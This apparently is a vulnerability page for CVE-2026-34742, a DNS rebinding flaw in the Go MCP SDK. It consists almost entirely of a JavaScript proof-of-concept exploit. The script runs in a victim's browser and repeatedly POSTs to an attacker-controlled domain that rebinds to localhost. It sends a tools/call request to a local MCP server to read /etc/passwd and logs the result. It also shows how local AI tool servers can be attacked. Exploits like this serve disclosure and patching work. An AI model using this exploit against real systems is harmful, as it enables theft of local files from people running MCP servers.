CVE-2026-34742 Go MCP SDK DNS重绑定漏洞

// Conceptual Proof of Concept for DNS Rebinding against local MCP Server // This script runs in the victim's browser context. async function attackLocalMCP() { // 'malicious.com' is a domain controlled by the attacker // It initially resolves to the attacker's server, then rebinding to 127.0.0.1 const targetUrl = 'http://malicious.com/mcp/v1/tools'; const payload = { method: "tools/call", params: { name: "read_sensitive_file", arguments: { path: "/etc/passwd" } } }; try { // Attempt to send request to the local MCP server via DNS rebinding const response = await fetch(targetUrl, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }); if (response.ok) { console.log("[+] Exploit Successful! Response received:"); const data = await response.json(); console.log(data); } else { console.log("[-] Request failed, possibly waiting for DNS rebind..."); } } catch (error) { console.error("Connection error:", error); } } // Poll to wait for the DNS rebinding to switch to localhost setInterval(attackLocalMCP, 2000);